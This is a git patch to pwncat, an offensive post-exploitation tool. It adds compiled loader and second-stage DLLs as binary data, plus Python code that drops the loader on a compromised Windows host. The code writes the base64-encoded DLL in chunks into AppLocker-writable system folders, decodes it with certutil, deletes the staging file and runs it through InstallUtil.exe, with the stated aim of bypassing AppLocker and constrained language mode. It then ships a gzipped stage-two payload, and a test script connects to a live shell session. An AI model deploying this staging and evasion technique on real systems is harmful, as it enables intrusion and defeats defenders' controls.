From ca72bf7371481a094f1c1820574bb5236faf37f7 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sun, 10 Jan 2021 18:01:08 -0500 Subject: [PATCH] Windows loader and stagetwo working. --- pwncat/data/loader.dll | Bin 0 -> 5120 bytes pwncat/data/stagetwo.cs | 23 ++++--- pwncat/data/stagetwo.dll | Bin 0 -> 13824 bytes pwncat/platform/windows.py | 127 ++++++++++++++++++++++++++++++++++++- test.py | 26 ++++---- 5 files changed, 152 insertions(+), 24 deletions(-) create mode 100644 pwncat/data/loader.dll create mode 100644 pwncat/data/stagetwo.dll diff --git a/pwncat/data/loader.dll b/pwncat/data/loader.dll new file mode 100644 index 0000000000000000000000000000000000000000..46bb97d191b79f425d56b8455eb3930966957e9f GIT binary patch literal 5120 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 literal 0 HcmV?d00001 diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 58bbf51..cf388b3 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -349,8 +349,131 @@ class Windows(Platform): - "/* END CODE BLOCK */" """ + possible_dirs = [ + "C:\\Windows\\Tasks", + "C:\\Windows\\Temp", + "C:\\windows\\tracing", + "C:\\Windows\\Registration\\CRMLog", + "C:\\Windows\\System32\\FxsTmp", + "C:\\Windows\\System32\\com\\dmp", + "C:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys", + "C:\\Windows\\System32\\spool\\PRINTERS", + "C:\\Windows\\System32\\spool\\SERVERS", + "C:\\Windows\\System32\\spool\\drivers\\color", + "C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter", + "C:\\Windows\\System32\\Tasks_Migrated (after peforming a version upgrade of Windows 10)", + "C:\\Windows\\SysWOW64\\FxsTmp", + "C:\\Windows\\SysWOW64\\com\\dmp", + "C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter", + "C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System", + ] + chunk_sz = 1900 + + loader_encoded_name = pwncat.util.random_string() + + # Read the loader + with open( + pkg_resources.resource_filename("pwncat", "data/loader.dll"), "rb" + ) as filp: + loader_dll = base64.b64encode(filp.read()) + + # Extract first chunk + chunk = loader_dll[0:chunk_sz].decode("utf-8") + good_dir = None + loader_remote_path = None + + self.channel.recvuntil(b">") + + # Find available file by trying to write first chunk + for possible in possible_dirs: + loader_remote_path = pathlib.PureWindowsPath(possible) / loader_encoded_name + good_dir = possible + self.channel.send( + f"""echo {chunk} >"{str(loader_remote_path)}"\n""".encode("utf-8") + ) + self.channel.recvline() + result = self.channel.recvuntil(b">") + if b"denied" not in result.lower(): + self.session.manager.log(f"Good path: {possible}") + break + else: + self.session.manager.log(f"Bad path: {possible}") + self.session.manager.log(result) + raise PlatformError("no writable applocker-safe directories") + + # Write remaining chunks to selected path + for c in range(chunk_sz, len(loader_dll), chunk_sz): + self.channel.send( + f"""echo {loader_dll[c:c+chunk_sz].decode('utf-8')} >>"{str(loader_remote_path)}"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + self.channel.recvuntil(b">") + + # Decode the base64 to the actual dll + self.channel.send( + f"""certutil -decode "{str(loader_remote_path)}" "{good_dir}\{loader_encoded_name}.dll"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + self.channel.recvuntil(b">") + + self.channel.send(f"""del "{str(loader_remote_path)}"\n""".encode("utf-8")) + self.channel.recvline() + self.channel.recvuntil(b">") + + # Search for all instances of InstallUtil within all installed .Net versions + self.channel.send( + """cmd /c "dir C:\Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + + # Select the newest version + result = self.channel.recvuntil(b">").decode("utf-8") + install_utils = [ + x.rstrip("\r") for x in result.split("\n") if x.rstrip("\r") != "" + ][-2] + + # Note whether this is 64-bit or not + is_64 = "\\Framework64\\" in install_utils + + self.session.manager.log(f"Selected Install Utils: {install_utils}") + + install_utils = install_utils.replace(" ", "\\ ") + + # Execute Install-Util to bypass AppLocker/CLM + self.channel.send( + f"""{install_utils} /logfile= /LogToConsole=false /U "{good_dir}\{loader_encoded_name}.dll"\n""".encode( + "utf-8" + ) + ) + + # Wait for loader to + self.channel.recvuntil(b"READY") + self.channel.recvuntil(b"\n") + + # Send stagetwo + with open( + pkg_resources.resource_filename("pwncat", "data/stagetwo.dll"), "rb" + ) as filp: + stagetwo_dll = filp.read() + compressed = BytesIO() + with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: + gz.write(stagetwo_dll) + encoded = base64.b64encode(compressed.getvalue()) + + self.channel.sendline(encoded) + self.channel.recvuntil(b"READY") + self.channel.recvuntil(b"\n") + + return + # Read stage two source code - stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs") + stage_two_path = pkg_resources.resource_filename("pwncat", "data/loader.dll") with open(stage_two_path, "rb") as filp: source = filp.read() @@ -580,6 +703,8 @@ class Windows(Platform): self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8")) result = self.channel.recvuntil(b"\n").strip() + self.session.log(result) + try: handle = int(result) except ValueError: diff --git a/test.py b/test.py index ba70756..e6e3ae2 100755 --- a/test.py +++ b/test.py @@ -11,17 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc") # Establish a session session = manager.create_session("windows", host="192.168.122.11", port=4444) -manager.interactive() - -# hosts = ( -# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts" -# ) -# with hosts.open() as filp: -# manager.log("Read etc hosts:") -# manager.log(filp.read()) -# -# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True) -# manager.log(f"Current user: {p.communicate()[0].strip()}") -# manager.log(f"Process Exit Status: {p.returncode}") -# # manager.interactive() + +hosts = ( + session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts" +) +with hosts.open() as filp: + manager.log("Read etc hosts:") + manager.log(filp.read()) + +p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True) +manager.log(f"Current user: {p.communicate()[0].strip()}") +manager.log(f"Process Exit Status: {p.returncode}") + +manager.interactive()